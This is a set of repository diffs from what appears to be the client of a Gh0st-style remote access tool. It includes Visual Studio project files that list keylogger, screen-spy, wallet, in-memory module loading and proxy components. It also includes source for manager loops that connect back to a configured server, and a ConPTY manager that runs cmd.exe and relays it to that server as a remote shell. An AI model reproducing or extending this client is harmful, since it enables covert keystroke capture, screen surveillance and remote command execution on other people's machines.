<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MinSpace</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
</ClCompile>
<Link>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\location.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,97 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="..\common\ikcp.c" />
<ClCompile Include="..\common\zstd_wrapper.c" />
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="clang_rt_compat.c" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="keylogger.cpp" />
<ClCompile Include="Loader.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="proxy\ProxyManager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="SafeThread.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\location.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="ConPTYManager.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

150
client/Common.cpp Normal file
View File

@@ -0,0 +1,150 @@
#include "StdAfx.h"
#include "Common.h"
#include "ScreenManager.h"
#include "FileManager.h"
#include "TalkManager.h"
#include "ShellManager.h"
#include "SystemManager.h"
#include "ConPTYManager.h"
#include "AudioManager.h"
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KeyboardManager.h"
#include "ProxyManager.h"
#include "KernelManager.h"
#include <iniFile.h>
DWORD WINAPI ThreadProc(LPVOID lParam)
{
THREAD_ARG_LIST ThreadArgList = {0};
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
SetEvent(ThreadArgList.hEvent);
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
return dwReturn;
}
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{
ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Manager m(ClientObject, n, pInfo->user);
pInfo->user = &m;
ClientObject->RunEventLoop(pInfo->run);
pInfo->user = NULL;
}
delete ClientObject;
pInfo->p = NULL;
return 0;
}
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
#else
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "PrivateDesktop_Libd.lib")
#else
#pragma comment(lib, "PrivateDesktop_Lib.lib")
#endif
#endif
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& msg, const std::string& signature,
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData)
{
void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac,
const std::vector<BYTE>& bmpData);
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
ClientObject->SetVerifyInfo(msg, signature);
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
if (IsWindows8orHigher()) {
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
} else {
ClientObject->RunEventLoop(TRUE);
}
}
delete ClientObject;
return 0;
}
DWORD WINAPI LoopScreenManager(LPVOID lParam)
{
return LoopManager<CScreenManager, 0>(lParam);
}
DWORD WINAPI LoopFileManager(LPVOID lParam)
{
return LoopManager<CFileManager, 0>(lParam);
}
DWORD WINAPI LoopTalkManager(LPVOID lParam)
{
return LoopManager<CTalkManager, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
if (CConPTYManager::IsConPTYSupported()) {
return LoopManager<CConPTYManager, 0>(lParam);
}
return LoopManager<CShellManager, 0>(lParam);
}
DWORD WINAPI LoopProcessManager(LPVOID lParam)
{
return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
}
DWORD WINAPI LoopWindowManager(LPVOID lParam)
{
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
}
DWORD WINAPI LoopVideoManager(LPVOID lParam)
{
return LoopManager<CVideoManager, 0>(lParam);
}
DWORD WINAPI LoopAudioManager(LPVOID lParam)
{
return LoopManager<CAudioManager, 0>(lParam);
}
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
{
return LoopManager<CRegisterManager, 0>(lParam);
}
DWORD WINAPI LoopServicesManager(LPVOID lParam)
{
return LoopManager<CServicesManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
iniFile cfg(CLIENT_PATH);
std::string s = cfg.GetStr("settings", "kbrecord", "No");
if (s == "Yes") {
return LoopManager<CKeyboardManager1, 1>(lParam);
}
return LoopManager<CKeyboardManager1, 0>(lParam);
}
DWORD WINAPI LoopProxyManager(LPVOID lParam)
{
return LoopManager<CProxyManager, 0>(lParam);
}

38
client/Common.h Normal file
View File

@@ -0,0 +1,38 @@
#pragma once
#include "StdAfx.h"
#include "IOCPClient.h"
#include "common/commands.h"
#include <vector>
typedef struct _THREAD_ARG_LIST {
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
LPVOID lParam;
bool bInteractive; // 是否支持交互桌面 ??
HANDLE hEvent;
} THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
typedef struct UserParam {
BYTE* buffer;
int length;
~UserParam()
{
SAFE_DELETE_ARRAY(buffer);
}
} UserParam;
DWORD WINAPI ThreadProc(LPVOID lParam);
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& msg, const std::string& signature,
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData = std::vector<BYTE>());
DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam);

343
client/ConPTYManager.cpp Normal file
View File

@@ -0,0 +1,343 @@
// ConPTYManager.cpp: Windows ConPTY terminal manager implementation
// Provides xterm.js compatible terminal for Windows 10 1809+
#include "stdafx.h"
#include "ConPTYManager.h"
#include "Common.h"
#include "../common/commands.h"
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
ProcThreadAttributeValue(22, FALSE, TRUE, FALSE)
#endif
// Static members
PFN_CreatePseudoConsole CConPTYManager::s_pfnCreatePseudoConsole = nullptr;
PFN_ResizePseudoConsole CConPTYManager::s_pfnResizePseudoConsole = nullptr;
PFN_ClosePseudoConsole CConPTYManager::s_pfnClosePseudoConsole = nullptr;
bool CConPTYManager::s_bApiLoaded = false;
bool CConPTYManager::LoadConPTYApi()
{
if (s_bApiLoaded) {
return s_pfnCreatePseudoConsole != nullptr;
}
s_bApiLoaded = true;
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
if (!hKernel) return false;
s_pfnCreatePseudoConsole = (PFN_CreatePseudoConsole)GetProcAddress(hKernel, "CreatePseudoConsole");
s_pfnResizePseudoConsole = (PFN_ResizePseudoConsole)GetProcAddress(hKernel, "ResizePseudoConsole");
s_pfnClosePseudoConsole = (PFN_ClosePseudoConsole)GetProcAddress(hKernel, "ClosePseudoConsole");
return s_pfnCreatePseudoConsole && s_pfnResizePseudoConsole && s_pfnClosePseudoConsole;
}
bool CConPTYManager::IsConPTYSupported()
{
return LoadConPTYApi();
}
CConPTYManager::CConPTYManager(IOCPClient* ClientObject, int n, void* user)
: CManager(ClientObject)
, m_hPC(nullptr)
, m_hPipeIn(nullptr)
, m_hPipeOut(nullptr)
, m_hShellProcess(nullptr)
, m_hShellThread(nullptr)
, m_hReadThread(nullptr)
, m_bRunning(TRUE)
, m_cols(80)
, m_rows(24)
{
if (!LoadConPTYApi()) {
Mprintf("[ConPTY] API not available\n");
return;
}
// Initialize with default size, will be resized when server sends size
if (!InitializeConPTY(m_cols, m_rows)) {
Mprintf("[ConPTY] Failed to initialize\n");
return;
}
// Send terminal start token
BYTE bToken = TOKEN_TERMINAL_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
// Start read thread immediately, it will wait for server ready internally
m_hReadThread = __CreateThread(NULL, 0, ReadThread, (LPVOID)this, 0, NULL);
}
CConPTYManager::~CConPTYManager()
{
m_bRunning = FALSE;
// Wake up read thread if it's waiting for server ready
NotifyDialogIsOpen();
// Close pipes first to unblock ReadThread
if (m_hPipeIn) {
CloseHandle(m_hPipeIn);
m_hPipeIn = nullptr;
}
if (m_hPipeOut) {
CloseHandle(m_hPipeOut);
m_hPipeOut = nullptr;
}
// Wait for read thread with timeout
int waitCount = 0;
while (m_hReadThread && waitCount < 30) { // 3 second timeout
Sleep(100);
waitCount++;
}
// Close ConPTY
if (m_hPC && s_pfnClosePseudoConsole) {
s_pfnClosePseudoConsole(m_hPC);
m_hPC = nullptr;
}
// Terminate process if still running
if (m_hShellProcess) {
DWORD exitCode = 0;
if (GetExitCodeProcess(m_hShellProcess, &exitCode) && exitCode == STILL_ACTIVE) {
TerminateProcess(m_hShellProcess, 0);
}
CloseHandle(m_hShellProcess);
m_hShellProcess = nullptr;
}
if (m_hShellThread) {
CloseHandle(m_hShellThread);
m_hShellThread = nullptr;
}
}
bool CConPTYManager::InitializeConPTY(int cols, int rows)
{
// Create pipes
HANDLE hPipeInRead = nullptr, hPipeInWrite = nullptr;
HANDLE hPipeOutRead = nullptr, hPipeOutWrite = nullptr;
if (!CreatePipe(&hPipeInRead, &hPipeInWrite, nullptr, 0)) {
Mprintf("[ConPTY] CreatePipe(in) failed: %d\n", GetLastError());
return false;
}
if (!CreatePipe(&hPipeOutRead, &hPipeOutWrite, nullptr, 0)) {
Mprintf("[ConPTY] CreatePipe(out) failed: %d\n", GetLastError());
CloseHandle(hPipeInRead);
CloseHandle(hPipeInWrite);
return false;
}
// Create pseudo console
COORD size = { (SHORT)cols, (SHORT)rows };
HRESULT hr = s_pfnCreatePseudoConsole(size, hPipeInRead, hPipeOutWrite, 0, &m_hPC);
if (FAILED(hr)) {
Mprintf("[ConPTY] CreatePseudoConsole failed: 0x%08X\n", hr);
CloseHandle(hPipeInRead);
CloseHandle(hPipeInWrite);
CloseHandle(hPipeOutRead);
CloseHandle(hPipeOutWrite);
return false;
}
// We read from hPipeOutRead (cmd output) and write to hPipeInWrite (cmd input)
m_hPipeIn = hPipeOutRead;
m_hPipeOut = hPipeInWrite;
// Close handles passed to ConPTY (they're now owned by ConPTY)
CloseHandle(hPipeInRead);
CloseHandle(hPipeOutWrite);
// Prepare startup info with pseudo console attribute
STARTUPINFOEXW si = {};
si.StartupInfo.cb = sizeof(si);
SIZE_T attrListSize = 0;
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrListSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
if (!si.lpAttributeList) {
Mprintf("[ConPTY] HeapAlloc failed\n");
return false;
}
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrListSize)) {
Mprintf("[ConPTY] InitializeProcThreadAttributeList failed: %d\n", GetLastError());
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
return false;
}
// PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, m_hPC, sizeof(m_hPC), nullptr, nullptr)) {
Mprintf("[ConPTY] UpdateProcThreadAttribute failed: %d\n", GetLastError());
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
return false;
}
// Get cmd.exe path
WCHAR cmdPath[MAX_PATH] = {};
GetSystemDirectoryW(cmdPath, MAX_PATH);
wcscat_s(cmdPath, L"\\cmd.exe");
// Create process
PROCESS_INFORMATION pi = {};
if (!CreateProcessW(nullptr, cmdPath, nullptr, nullptr, FALSE,
EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi)) {
Mprintf("[ConPTY] CreateProcess failed: %d\n", GetLastError());
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
return false;
}
m_hShellProcess = pi.hProcess;
m_hShellThread = pi.hThread;
m_cols = cols;
m_rows = rows;
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
Mprintf("[ConPTY] Started cmd.exe (PID=%d) with %dx%d terminal\n", pi.dwProcessId, cols, rows);
return true;
}
void CConPTYManager::ResizeTerminal(int cols, int rows)
{
if (m_hPC && s_pfnResizePseudoConsole) {
COORD size = { (SHORT)cols, (SHORT)rows };
HRESULT hr = s_pfnResizePseudoConsole(m_hPC, size);
if (SUCCEEDED(hr)) {
m_cols = cols;
m_rows = rows;
Mprintf("[ConPTY] Resized to %dx%d\n", cols, rows);
} else {
Mprintf("[ConPTY] ResizePseudoConsole failed: 0x%08X\n", hr);
}
}
}
VOID CConPTYManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength == 0) return;
switch (szBuffer[0]) {
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case CMD_TERMINAL_RESIZE:
// Resize command: [cmd:1][cols:2][rows:2]
if (ulLength >= 5) {
int cols = *(short*)(szBuffer + 1);
int rows = *(short*)(szBuffer + 3);
ResizeTerminal(cols, rows);
}
break;
default:
// User input - write to PTY
if (m_hPipeOut) {
DWORD dwWritten = 0;
WriteFile(m_hPipeOut, szBuffer, ulLength, &dwWritten, nullptr);
}
break;
}
}
DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
{
CConPTYManager* pThis = (CConPTYManager*)lParam;
char buffer[4096];
// Wait for server terminal ready (WebView2 initialization may take time)
// Check m_bRunning every 500ms to allow quick exit
while (pThis->m_bRunning) {
DWORD result = WaitForSingleObject(pThis->m_hEventDlgOpen, 500);
if (result == WAIT_OBJECT_0) {
break; // Server is ready
}
// WAIT_TIMEOUT: continue loop and check m_bRunning
}
if (!pThis->m_bRunning) {
Mprintf("[ConPTY] Read thread exiting before server ready\n");
SAFE_CLOSE_HANDLE(pThis->m_hReadThread);
pThis->m_hReadThread = nullptr;
return 0;
}
Mprintf("[ConPTY] Server ready, starting to read\n");
while (pThis->m_bRunning) {
// Check if process has exited
if (pThis->m_hShellProcess) {
DWORD exitCode = 0;
if (GetExitCodeProcess(pThis->m_hShellProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) {
Mprintf("[ConPTY] Process exited with code %d\n", exitCode);
break;
}
}
}
// Check if pipe handle is still valid
if (!pThis->m_hPipeIn) {
Mprintf("[ConPTY] Pipe handle is null\n");
break;
}
// Check if data is available (non-blocking)
DWORD dwAvailable = 0;
if (!PeekNamedPipe(pThis->m_hPipeIn, nullptr, 0, nullptr, &dwAvailable, nullptr)) {
DWORD err = GetLastError();
if (err == ERROR_BROKEN_PIPE || err == ERROR_INVALID_HANDLE) {
Mprintf("[ConPTY] Pipe closed (err=%d)\n", err);
break;
}
// Other error, wait and retry
Sleep(10);
continue;
}
if (dwAvailable == 0) {
// No data available, wait a bit
Sleep(10);
continue;
}
// Read available data
DWORD dwRead = 0;
DWORD toRead = min(dwAvailable, (DWORD)sizeof(buffer));
if (!ReadFile(pThis->m_hPipeIn, buffer, toRead, &dwRead, nullptr)) {
DWORD err = GetLastError();
if (err != ERROR_BROKEN_PIPE && err != ERROR_INVALID_HANDLE) {
Mprintf("[ConPTY] ReadFile failed: %d\n", err);
}
break;
}
if (dwRead > 0) {
// Send to server
pThis->m_ClientObject->Send2Server(buffer, dwRead);
}
}
// Send close notification
if (pThis->m_ClientObject) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
pThis->m_ClientObject->Send2Server((char*)&closeToken, 1);
Mprintf("[ConPTY] Sent TOKEN_TERMINAL_CLOSE\n");
}
SAFE_CLOSE_HANDLE(pThis->m_hReadThread);
pThis->m_hReadThread = nullptr;
Mprintf("[ConPTY] Read thread exited\n");
return 0;
}

60
client/ConPTYManager.h Normal file
View File

@@ -0,0 +1,60 @@
// ConPTYManager.h: Windows ConPTY terminal manager for xterm.js support
// Requires Windows 10 1809+ for ConPTY API
#ifndef CONPTYMANAGER_H
#define CONPTYMANAGER_H
#include "Manager.h"
#include "IOCPClient.h"
// ConPTY API types (dynamically loaded)
typedef VOID* HPCON;
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
typedef HRESULT (WINAPI *PFN_ResizePseudoConsole)(HPCON hPC, COORD size);
typedef void (WINAPI *PFN_ClosePseudoConsole)(HPCON hPC);
class CConPTYManager : public CManager
{
public:
CConPTYManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConPTYManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
// Check if ConPTY is supported on this system
static bool IsConPTYSupported();
private:
// ConPTY handles
HPCON m_hPC;
HANDLE m_hPipeIn; // Read from cmd output
HANDLE m_hPipeOut; // Write to cmd input
HANDLE m_hShellProcess;
HANDLE m_hShellThread;
HANDLE m_hReadThread;
// State
BOOL m_bRunning;
int m_cols;
int m_rows;
// ConPTY API function pointers
static PFN_CreatePseudoConsole s_pfnCreatePseudoConsole;
static PFN_ResizePseudoConsole s_pfnResizePseudoConsole;
static PFN_ClosePseudoConsole s_pfnClosePseudoConsole;
